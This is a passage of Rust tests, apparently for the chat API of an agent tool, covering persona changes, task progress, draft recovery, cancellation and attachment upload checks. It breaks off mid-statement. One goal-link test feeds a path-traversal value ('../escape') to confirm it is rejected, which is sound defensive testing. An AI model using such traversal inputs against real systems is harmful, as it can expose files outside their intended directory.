15693 assert!(
15694 !json.contains("secret"),
15695 "the icon setting must not leak: {json}"
15696 );
15697 assert!(
15698 detail
15699 .view
15700 .persona_avatar
15701 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15702 );
15703 assert_eq!(
15704 detail.view.operator_avatar,
15705 format!(
15706 "/avatars/operator.svg?v={}",
15707 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15708 )
15709 );
15710 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15711 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15712 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15713 assert!(rei.avatar.contains("persona=rei&v="));
15714 assert_ne!(
15715 rei.avatar.split("&v=").nth(1),
15716 plain.avatar.split("&v=").nth(1)
15717 );
15718 }
15719
15720 #[tokio::test]
15721 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15722 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15723 let cfg = config_for(&repo).await.unwrap();
15724 for arrived in [false, true] {
15725 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15726 let observed = ui.queued_generation(&id);
15727 let talk = ui.talks.get(&id).unwrap();
15728 if arrived {
15729 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15730 }
15731 let mut settling = std::pin::pin!(settle_settings_turn(
15732 talk,
15733 ui.talks.clone(),
15734 cfg.clone(),
15735 id.clone(),
15736 turn,
15737 observed
15738 ));
15739 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15740 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15741 assert_eq!(first.is_pending(), arrived);
15742 if arrived {
15743 assert!(!settling.await);
15744 }
15745 assert!(!ui.is_thinking(&id));
15746 }
15747 }
15748
15749 #[tokio::test]
15750 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15751 let tmp = TempDir::new().expect("tempdir");
15752 let repo = tmp.path().join("repo");
15753 std::fs::create_dir_all(&repo).expect("repo dir");
15754 std::fs::write(
15755 repo.join("magi.toml"),
15756 format!(
15757 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15758 ),
15759 )
15760 .expect("write magi.toml");
15761 let home = TempDir::new().expect("temp home");
15762 let talks = Talks::at(home.path().join("talks"));
15763 let ui = Arc::new(
15764 Ui::new(
15765 Queue::at(home.path().join("queue")),
15766 Questions::at(home.path().join("questions")),
15767 talks.clone(),
15768 home.path().join("runs"),
15769 home.path().to_path_buf(),
15770 repo.clone(),
15771 )
15772 .with_worktrees_root(home.path().join("wt")),
15773 );
15774 let cfg = config_for(&repo).await.expect("discover config");
15775 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15776 let id = talk.id.clone();
15777 let call = |persona: &str| {
15778 talk_persona(
15779 State(Arc::clone(&ui)),
15780 Path(id.clone()),
15781 Json(TalkPersona {
15782 persona: persona.to_owned(),
15783 }),
15784 )
15785 };
15786
15787 let unknown = call("nobody").await.expect_err("unknown persona");
15788 assert_eq!(
15789 unknown.status,
15790 StatusCode::BAD_REQUEST,
15791 "{}",
15792 unknown.message
15793 );
15794
15795 {
15796 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15799 let busy = call("rei").await.expect_err("busy talk");
15800 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15801 assert!(
15802 busy.message.contains("a talk turn is running"),
15803 "{}",
15804 busy.message
15805 );
15806 drop(guard);
15807 }
15808 assert_eq!(talks.get(&id).expect("reload").persona, "");
15809
15810 let Json(view) = call("gendo").await.expect("switch to a configured persona");
15811 assert_eq!(view.talk.persona, "gendo");
15812 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15813 assert!(!ui.is_thinking(&id), "idle response must release the claim");
15814 for chosen in ["default", "gendo", "rei", "gendo"] {
15816 let Json(view) = call(chosen).await.expect("immediate consecutive change");
15817 assert!(!view.thinking);
15818 assert!(!ui.is_thinking(&id));
15819 }
15820
15821 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15822 .await
15823 .expect("detail");
15824 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15825 assert_eq!(ids.first(), Some(&"default"));
15826 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15827
15828 let Json(view) = call("default").await.expect("back to default");
15829 assert_eq!(view.talk.persona, "");
15830
15831 let mut closed = talks.get(&id).expect("reload");
15832 talk::close(&mut closed, &talks).expect("close");
15833 let refused = call("rei").await.expect_err("closed talk");
15834 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15835 assert!(
15836 refused.message.contains("takes no more turns"),
15837 "{}",
15838 refused.message
15839 );
15840 }
15841
15842 #[tokio::test]
15843 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15844 let f = Fixture::start().await;
15845 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15846 let queue = f.queue();
15847 let mut mine = Task::new(
15848 "rename the loader".to_owned(),
15849 "rename the loader".to_owned(),
15850 PathBuf::from("/repo/magi"),
15851 Source::Agent {
15852 run: talk_id.clone(),
15853 node: "chat".to_owned(),
15854 },
15855 );
15856 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15857 assert_eq!(empty["task_progress"]["state"], "none");
15858 assert_eq!(empty["task_progress"]["total"], 0);
15859 queue.put(&mut mine).expect("file the task");
15860 let mut theirs = Task::new(
15861 "unrelated".to_owned(),
15862 "unrelated".to_owned(),
15863 PathBuf::from("/repo/magi"),
15864 Source::Human,
15865 );
15866 theirs.origin_chat = Some(talk_id.clone());
15868 queue.put(&mut theirs).expect("file the task");
15869
15870 let res = f.get(&format!("/api/talks/{talk_id}")).await;
15871 assert_eq!(res.status, 200, "{}", res.body);
15872 let body = res.json();
15873 assert_eq!(
15874 body["status"], "open",
15875 "filing a task does not close a talk"
15876 );
15877 let tasks = body["tasks"].as_array().expect("tasks array");
15878 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15879 assert_eq!(tasks[0]["id"], mine.id);
15880 for status in [
15881 TaskStatus::Queued,
15882 TaskStatus::Running,
15883 TaskStatus::Held,
15884 TaskStatus::Failed,
15885 TaskStatus::Blocked,
15886 TaskStatus::Parked,
15887 TaskStatus::Done,
15888 TaskStatus::Queued,
15889 ] {
15890 mine.status = status;
15891 queue.put(&mut mine).expect("update status");
15892 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15893 let progress = &detail["task_progress"];
15894 assert_eq!(progress["total"], 1);
15895 assert_eq!(progress["counts"][status.as_str()], 1);
15896 assert_eq!(detail["tasks"][0]["status"], status.as_str());
15897 assert_eq!(detail["status"], "open", "completion never closes the chat");
15898 if status == TaskStatus::Done {
15899 assert_eq!(progress["state"], "complete");
15900 assert_eq!(progress["done"], 1);
15901 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15902 } else {
15903 assert_eq!(progress["state"], "incomplete");
15904 assert_eq!(progress["done"], 0);
15905 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15906 }
15907 }
15908 }
15909
15910 #[test]
15911 fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
15912 let home = tempfile::tempdir().unwrap();
15913 let runs = home.path().join("runs");
15914 let queue = Queue::at(home.path().join("queue"));
15915 let talks = Talks::at(home.path().join("talks"));
15916 let config = stub_config();
15917 let repo = PathBuf::from("/repo/magi");
15918 let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
15919 let reserve_run = |repo| {
15920 let mut run = RunState::new(
15921 repo,
15922 "main".into(),
15923 "0000000".into(),
15924 "Follow the review".into(),
15925 config.clone(),
15926 );
15927 run.reserve_under(home.path()).unwrap();
15928 run
15929 };
15930 let older = reserve_run(repo.clone());
15931 let newer = reserve_run(repo.clone());
15932 let foreign = reserve_run(PathBuf::from("/repo/other"));
15933 let mismatched = reserve_run(repo.clone());
15934 let corrupt = reserve_run(repo.clone());
15935 let run_file = |id: &str| runs.join(id).join("run.json");
15936 std::fs::write(
15937 run_file(&mismatched.id),
15938 serde_json::to_vec(&older).unwrap(),
15939 )
15940 .unwrap();
15941 std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
15942 let goal = |tasks: Vec<String>, runs: Vec<String>| {
15943 serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
15944 "id": "g", "purpose": "Follow the review", "scope": "review",
15945 "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
15946 "state": "waiting", "step": "Follow the recorded review",
15947 "source_turn": 0, "owner_input": "Follow the review",
15948 "tasks": tasks, "runs": runs, "watches": [],
15949 "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
15950 "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
15951 }))
15952 .unwrap()
15953 };
15954 let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
15955
15956 talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
15957 assert_eq!(link(&talk), Some(("run", newer.id.clone())));
15958
15959 let unusable = vec![
15960 foreign.id.clone(),
15961 mismatched.id.clone(),
15962 corrupt.id.clone(),
15963 "missing".into(),
15964 "../escape".into(),
15965 ];
15966 let mut references = vec![older.id.clone()];
15967 references.extend(unusable.clone());
15968 talk.goals = vec![goal(vec![], references)];
15969 assert_eq!(link(&talk), Some(("run", older.id.clone())));
15970
15971 talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
15972 assert_eq!(link(&talk), None);
15973
15974 let mut task = Task::new(
15975 "Review".into(),
15976 "Follow the review".into(),
15977 repo,
15978 Source::Human,
15979 );
15980 queue.put(&mut task).unwrap();
15981 talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
15982 assert_eq!(link(&talk), Some(("task", task.id.clone())));
15983
15984 task.runs.push(older.id.clone());
15985 queue.put(&mut task).unwrap();
15986 assert_eq!(link(&talk), Some(("run", older.id)));
15987 }
15988
15989 #[test]
15990 fn talk_task_progress_counts_mixed_statuses() {
15991 let mut tasks: Vec<_> = [
15992 TaskStatus::Queued,
15993 TaskStatus::Running,
15994 TaskStatus::Held,
15995 TaskStatus::Failed,
15996 TaskStatus::Blocked,
15997 TaskStatus::Parked,
15998 TaskStatus::Done,
15999 ]
16000 .into_iter()
16001 .map(|status| {
16002 let mut task = Task::new(
16003 "task".into(),
16004 "task".into(),
16005 PathBuf::from("/repo"),
16006 Source::Human,
16007 );
16008 task.status = status;
16009 task
16010 })
16011 .collect();
16012 let progress = talk_task_progress(&tasks);
16013 assert_eq!(progress.state, "incomplete");
16014 assert_eq!(progress.total, 7);
16015 assert_eq!(progress.done, 1);
16016 assert_eq!(progress.unfinished_ids.len(), 6);
16017 assert!(progress.counts.values().all(|count| *count == 1));
16018 assert_eq!(
16019 progress.unfinished_ids,
16020 tasks[..6]
16021 .iter()
16022 .map(|task| task.id.clone())
16023 .collect::<Vec<_>>()
16024 );
16025
16026 for task in &mut tasks {
16027 task.status = TaskStatus::Done;
16028 }
16029 let complete = talk_task_progress(&tasks);
16030 assert_eq!(complete.state, "complete");
16031 assert_eq!(complete.done, 7);
16032 assert!(complete.unfinished_ids.is_empty());
16033 tasks[0].status = TaskStatus::Queued;
16034 let requeued = talk_task_progress(&tasks);
16035 assert_eq!(requeued.state, "incomplete");
16036 assert_eq!(requeued.done, 6);
16037 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16038
16039 let empty = talk_task_progress(&[]);
16040 assert_eq!(empty.state, "none");
16041 assert_eq!(empty.total, 0);
16042 assert_eq!(empty.done, 0);
16043 assert!(empty.unfinished_ids.is_empty());
16044 assert!(empty.counts.values().all(|count| *count == 0));
16045 }
16046
16047 #[tokio::test]
16048 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16049 let (_tmp, _repo, f) = talk_fixture().await;
16050 let id = f.post("/api/talks", None).await.json()["id"]
16051 .as_str()
16052 .expect("id")
16053 .to_owned();
16054
16055 let res = f
16056 .post(
16057 &format!("/api/talks/{id}/say"),
16058 Some(r#"{"text":"what does the queue module do?"}"#),
16059 )
16060 .await;
16061 assert_eq!(res.status, 202, "{}", res.body);
16062 let queued = res.json();
16063 let turns = queued["turns"].as_array().expect("turns array");
16064 assert_eq!(
16065 turns.len(),
16066 1,
16067 "the answer reflects only what is on disk the instant it is sent, \
16068 before the agent's turn - which can run for the whole of \
16069 `[graph] timeout_talk` - has a chance to land: {queued}"
16070 );
16071 assert_eq!(turns[0]["who"], "operator");
16072 assert_eq!(turns[0]["body"], "what does the queue module do?");
16073 assert_eq!(
16074 queued["thinking"], true,
16075 "the accepted response exposes the background turn claim: {queued}"
16076 );
16077
16078 let mut turns_after = 1;
16079 for _ in 0..SETTLE_STEPS {
16080 let detail = f.get(&format!("/api/talks/{id}")).await.json();
16081 turns_after = detail["turns"].as_array().expect("turns array").len();
16082 if turns_after == 2 {
16083 break;
16084 }
16085 tokio::time::sleep(Duration::from_millis(10)).await;
16086 }
16087 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16088 }
16089
16090 #[tokio::test]
16117 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16118 let tmp = TempDir::new().expect("tempdir");
16119 let repo = tmp.path().join("repo");
16120 std::fs::create_dir_all(&repo).expect("repo dir");
16121 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16122 let home = TempDir::new().expect("temp home");
16123 let talks = Talks::at(home.path().join("talks"));
16124 let ui = Arc::new(
16125 Ui::new(
16126 Queue::at(home.path().join("queue")),
16127 Questions::at(home.path().join("questions")),
16128 talks.clone(),
16129 home.path().join("runs"),
16130 home.path().to_path_buf(),
16131 repo.clone(),
16132 )
16133 .with_worktrees_root(home.path().join("wt")),
16134 );
16135 let cfg = config_for(&repo).await.expect("discover config");
16136
16137 for delay in 0..40u32 {
16138 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16139 let id = talk.id.clone();
16140
16141 let handler = tokio::spawn(talk_say(
16142 State(Arc::clone(&ui)),
16143 Path(id.clone()),
16144 Ok(Json(NewTalkTurn {
16145 reply_to: None,
16146 text: "what does the queue module do?".to_owned(),
16147 attachments: Vec::new(),
16148 })),
16149 ));
16150 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16151 handler.abort();
16152 let _ = handler.await;
16155
16156 let mut turns = 0;
16157 for _ in 0..SETTLE_STEPS {
16158 if let Ok(fresh) = talks.get(&id) {
16159 turns = fresh.turns.len();
16160 if turns != 1 {
16161 break;
16162 }
16163 }
16164 tokio::time::sleep(Duration::from_millis(10)).await;
16165 }
16166 assert_ne!(
16167 turns, 1,
16168 "delay {delay}: talk {id} recorded the operator's turn but \
16169 the agent never answered - the reply task was never \
16170 started after the handler future was dropped"
16171 );
16172 }
16173 }
16174
16175 #[tokio::test]
16220 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16221 let tmp = TempDir::new().expect("tempdir");
16222 let repo = tmp.path().join("repo");
16223 std::fs::create_dir_all(&repo).expect("repo dir");
16224 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16225 let home = TempDir::new().expect("temp home");
16226 let talks = Talks::at(home.path().join("talks"));
16227 let ui = Arc::new(
16228 Ui::new(
16229 Queue::at(home.path().join("queue")),
16230 Questions::at(home.path().join("questions")),
16231 talks.clone(),
16232 home.path().join("runs"),
16233 home.path().to_path_buf(),
16234 repo.clone(),
16235 )
16236 .with_worktrees_root(home.path().join("wt")),
16237 );
16238 let cfg = config_for(&repo).await.expect("discover config");
16239
16240 for attempt in 0..3u32 {
16241 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16242 let id = talk.id.clone();
16243 let turn_guard = ui
16246 .begin_talk_turn(&id)
16247 .expect("claim the turn")
16248 .expect("a fresh talk owes nobody a turn");
16249
16250 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16251 let (release_tx, release_rx) = std::sync::mpsc::channel();
16252 ui.set_busy_queue_gate(BusyQueueGate {
16253 reached: reached_tx,
16254 release: release_rx,
16255 });
16256
16257 let handler = tokio::spawn(talk_say(
16258 State(Arc::clone(&ui)),
16259 Path(id.clone()),
16260 Ok(Json(NewTalkTurn {
16261 reply_to: None,
16262 text: "what does the queue module do?".to_owned(),
16263 attachments: Vec::new(),
16264 })),
16265 ));
16266
16267 tokio::time::timeout(Duration::from_secs(5), reached_rx)
16272 .await
16273 .unwrap_or_else(|_| {
16274 panic!(
16275 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16276 )
16277 })
16278 .expect("the busy branch dropped the gate without using it");
16279 assert!(
16280 crate::chat_worker::try_publication_guard(&talks, &id)
16281 .expect("publication fence")
16282 .is_none(),
16283 "a queued worker cannot promote text before its successor reservation is published"
16284 );
16285
16286 let closing = Arc::clone(&ui.admissions).write_owned();
16290 tokio::pin!(closing);
16291 std::future::poll_fn(|cx| {
16292 assert!(closing.as_mut().poll(cx).is_pending());
16293 std::task::Poll::Ready(())
16294 })
16295 .await;
16296 assert!(
16297 ui.begin_admission().is_err(),
16298 "replacement blocks later admissions"
16299 );
16300
16301 let running = talks.get(&id).expect("reload talk");
16308 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16309
16310 handler.abort();
16314 let _ = handler.await;
16315 std::future::poll_fn(|cx| {
16316 assert!(
16317 closing.as_mut().poll(cx).is_pending(),
16318 "HTTP cancellation must not abandon a publishing transaction"
16319 );
16320 std::task::Poll::Ready(())
16321 })
16322 .await;
16323 assert!(
16324 crate::chat_worker::try_publication_guard(&talks, &id)
16325 .expect("publication fence after disconnect")
16326 .is_none()
16327 );
16328
16329 let _ = release_tx.send(());
16335 drop(
16336 tokio::time::timeout(Duration::from_secs(5), closing)
16337 .await
16338 .expect("short admission transaction should release for replacement"),
16339 );
16340 assert!(
16341 crate::chat_worker::try_publication_guard(&talks, &id)
16342 .expect("publication fence after acknowledgement")
16343 .is_some(),
16344 "the publication fence is not retained by the long response"
16345 );
16346
16347 let mut fresh = talks.get(&id).expect("reload talk");
16350 for _ in 0..SETTLE_STEPS {
16351 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16352 break;
16353 }
16354 tokio::time::sleep(Duration::from_millis(10)).await;
16355 fresh = talks.get(&id).expect("reload talk");
16356 }
16357 assert!(
16358 fresh.pending.is_empty() && fresh.turns.len() == 2,
16359 "attempt {attempt}: talk {id} left the operator's text queued \
16360 with no drainer - the reclaimed turn was dropped along with \
16361 the handler future (pending {:?}, {} turns)",
16362 fresh.pending,
16363 fresh.turns.len()
16364 );
16365 }
16366 }
16367
16368 #[tokio::test]
16369 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16370 let (_tmp, _repo, f) = talk_fixture().await;
16371 let id = f.post("/api/talks", None).await.json()["id"]
16372 .as_str()
16373 .expect("id")
16374 .to_owned();
16375 let store = f.talks();
16376 let mut recovered = store.get(&id).expect("opened talk");
16377 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16378 .expect("persist pending draft without a live turn");
16379
16380 let edited = f
16381 .post(
16382 &format!("/api/talks/{id}/pending/edit"),
16383 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16384 )
16385 .await;
16386 assert_eq!(edited.status, 200, "{}", edited.body);
16387 assert!(edited.json()["thinking"].as_bool().unwrap());
16388
16389 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16390 for _ in 0..SETTLE_STEPS {
16391 if detail["turns"].as_array().expect("turns").len() == 2 {
16392 break;
16393 }
16394 tokio::time::sleep(Duration::from_millis(10)).await;
16395 detail = f.get(&format!("/api/talks/{id}")).await.json();
16396 }
16397 let turns = detail["turns"].as_array().expect("turns");
16398 assert_eq!(
16399 turns.len(),
16400 2,
16401 "the recovered draft must run once: {detail}"
16402 );
16403 assert_eq!(turns[0]["body"], "corrected");
16404 assert_eq!(detail["pending"], "");
16405 }
16406
16407 #[tokio::test]
16408 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16409 let tmp = TempDir::new().expect("tempdir");
16410 let repo = tmp.path().join("repo");
16411 std::fs::create_dir_all(&repo).expect("repo dir");
16412 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16413 let f = Fixture::with_repo(repo).await;
16414 let id = f.post("/api/talks", None).await.json()["id"]
16415 .as_str()
16416 .expect("id")
16417 .to_owned();
16418 let store = f.talks();
16419 let mut recovered = store.get(&id).expect("opened talk");
16420 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16421 .expect("persist pending draft without a live turn");
16422
16423 let refused = f
16424 .post(
16425 &format!("/api/talks/{id}/say"),
16426 Some(r#"{"text":"new message"}"#),
16427 )
16428 .await;
16429 assert_eq!(refused.status, 409, "{}", refused.body);
16430 assert!(refused.body.contains("resume"), "{}", refused.body);
16431 let saved = store.get(&id).expect("draft remains after refusal");
16432 assert!(saved.turns.is_empty());
16433 assert_eq!(saved.pending, "saved before restart");
16434
16435 let say_path = format!("/api/talks/{id}/say");
16436 let (first, second) = tokio::join!(
16437 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16438 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16439 );
16440 assert_eq!(first.status, 409, "{}", first.body);
16441 assert_eq!(second.status, 409, "{}", second.body);
16442 let saved = store
16443 .get(&id)
16444 .expect("draft remains after concurrent refusals");
16445 assert!(saved.turns.is_empty());
16446 assert_eq!(saved.pending, "saved before restart");
16447
16448 let resumed = f
16449 .post(&format!("/api/talks/{id}/pending/resume"), None)
16450 .await;
16451 assert_eq!(resumed.status, 202, "{}", resumed.body);
16452 let duplicate = f
16453 .post(&format!("/api/talks/{id}/pending/resume"), None)
16454 .await;
16455 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16456
16457 for _ in 0..SETTLE_STEPS {
16458 if store.get(&id).expect("talk").turns.len() == 2 {
16459 break;
16460 }
16461 tokio::time::sleep(Duration::from_millis(10)).await;
16462 }
16463 let finished = store.get(&id).expect("finished talk");
16464 assert_eq!(finished.turns.len(), 2, "{finished:?}");
16465 assert_eq!(finished.turns[0].body, "saved before restart");
16466 assert!(finished.pending.is_empty());
16467 }
16468
16469 #[tokio::test]
16470 async fn an_image_only_recovered_draft_resumes_without_text() {
16471 let (_tmp, _repo, f) = talk_fixture().await;
16472 let id = f.post("/api/talks", None).await.json()["id"]
16473 .as_str()
16474 .expect("id")
16475 .to_owned();
16476 let uploaded = f
16477 .post_bytes(
16478 &format!("/api/talks/{id}/attachments"),
16479 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16480 PNG_BYTES,
16481 )
16482 .await;
16483 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16484 let attachment = f
16485 .talks()
16486 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16487 .expect("attachment metadata")
16488 .expect("stored attachment");
16489 let store = f.talks();
16490 let mut recovered = store.get(&id).expect("opened talk");
16491 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16492
16493 let resumed = f
16494 .post(&format!("/api/talks/{id}/pending/resume"), None)
16495 .await;
16496 assert_eq!(resumed.status, 202, "{}", resumed.body);
16497 for _ in 0..SETTLE_STEPS {
16498 if store.get(&id).expect("talk").turns.len() == 2 {
16499 break;
16500 }
16501 tokio::time::sleep(Duration::from_millis(10)).await;
16502 }
16503 let finished = store.get(&id).expect("finished talk");
16504 assert_eq!(finished.turns.len(), 2, "{finished:?}");
16505 assert!(finished.turns[0].body.is_empty());
16506 assert_eq!(finished.turns[0].attachments.len(), 1);
16507 assert!(finished.pending_attachments.is_empty());
16508 }
16509
16510 #[tokio::test]
16511 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16512 let (_tmp, _repo, f) = talk_fixture().await;
16513 let id = f.post("/api/talks", None).await.json()["id"]
16514 .as_str()
16515 .expect("id")
16516 .to_owned();
16517 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16518 assert_eq!(closed.status, 200, "{}", closed.body);
16519 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16520 .expect("serialize closed talk");
16521 for (path, body) in [
16522 (format!("/api/talks/{id}/pending/resume"), None),
16523 (
16524 format!("/api/talks/{id}/pending/clear"),
16525 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16526 ),
16527 (
16528 format!("/api/talks/{id}/pending/edit"),
16529 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16530 ),
16531 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16532 ] {
16533 let response = f.post(&path, body).await;
16534 assert_eq!(response.status, 409, "{}", response.body);
16535 }
16536 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16537 .expect("serialize closed talk");
16538 assert_eq!(
16539 after_clear, before_clear,
16540 "clear must not rewrite a closed talk"
16541 );
16542 }
16543
16544 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16547
16548 #[tokio::test]
16549 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16550 let tmp = TempDir::new().expect("tempdir");
16551 let repo = tmp.path().join("repo");
16552 std::fs::create_dir_all(&repo).expect("repo dir");
16553 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16554 let f = Fixture::with_repo(repo).await;
16555 let id_a = f.post("/api/talks", None).await.json()["id"]
16556 .as_str()
16557 .unwrap()
16558 .to_owned();
16559 let id_b = f.post("/api/talks", None).await.json()["id"]
16560 .as_str()
16561 .unwrap()
16562 .to_owned();
16563
16564 let a = f
16565 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16566 .await;
16567 assert_eq!(a.status, 202, "{}", a.body);
16568 assert_eq!(a.json()["thinking"], true);
16569 let b = f
16570 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16571 .await;
16572 assert_eq!(b.status, 202, "{}", b.body);
16573 assert_eq!(b.json()["thinking"], true);
16574
16575 let listed = f.get("/api/talks").await.json();
16576 for id in [&id_a, &id_b] {
16577 let view = listed
16578 .as_array()
16579 .unwrap()
16580 .iter()
16581 .find(|talk| talk["id"] == *id)
16582 .unwrap();
16583 assert_eq!(view["thinking"], true, "{listed}");
16584 }
16585 let repeated = f
16586 .post(
16587 &format!("/api/talks/{id_a}/say"),
16588 Some(r#"{"text":"again"}"#),
16589 )
16590 .await;
16591 assert_eq!(repeated.status, 202, "{}", repeated.body);
16592 assert_eq!(repeated.json()["pending"], "again");
16593 }
16594
16595 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16598
16599 #[tokio::test]
16600 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16601 let f = Fixture::start().await;
16602 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16603
16604 let res = f
16605 .post_bytes(
16606 &format!("/api/talks/{id}/attachments"),
16607 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16608 PNG_BYTES,
16609 )
16610 .await;
16611 assert_eq!(res.status, 201, "{}", res.body);
16612 let body = res.json();
16613 assert_eq!(body["name"], "shot.png");
16614 assert_eq!(body["mime"], "image/png");
16615 assert_eq!(body["bytes"], PNG_BYTES.len());
16616 let att_id = body["id"].as_str().expect("id").to_owned();
16617 assert_eq!(
16618 att_id.len(),
16619 32,
16620 "the id must never be a client-suppliable path: {att_id}"
16621 );
16622
16623 let got = f
16624 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16625 .await;
16626 assert_eq!(got.status, 200, "{}", got.body);
16627 assert_eq!(got.header("content-type"), Some("image/png"));
16628 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16629 assert_eq!(got.bytes, PNG_BYTES);
16630 }
16631
16632 #[tokio::test]
16633 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16634 let f = Fixture::start().await;
16635 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16636
16637 let svg = f
16640 .post_bytes(
16641 &format!("/api/talks/{id}/attachments"),
16642 &[("Content-Type", "image/svg+xml")],
16643 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16644 )
16645 .await;
16646 assert!(
16647 (400..500).contains(&svg.status),
16648 "svg must be refused: {} {}",
16649 svg.status,
16650 svg.body
16651 );
16652 assert!(svg.body.contains("SVG"), "{}", svg.body);
16653
16654 let text = f
16655 .post_bytes(
16656 &format!("/api/talks/{id}/attachments"),
16657 &[("Content-Type", "text/plain")],
16658 b"just some text",
16659 )
16660 .await;
16661 assert!(
16662 (400..500).contains(&text.status),
16663 "an unlisted type must be refused: {} {}",
16664 text.status,
16665 text.body
16666 );
16667
16668 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16671 let big = f
16672 .post_bytes(
16673 &format!("/api/talks/{id}/attachments"),
16674 &[("Content-Type", "image/png")],
16675 &oversized,
16676 )
16677 .await;
16678 assert_eq!(
16679 big.status,
16680 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16681 "{}",
16682 big.body
16683 );
16684 }
16685
16686 #[tokio::test]
16687 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16688 let f = Fixture::start().await;
16689 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16690
16691 let res = f
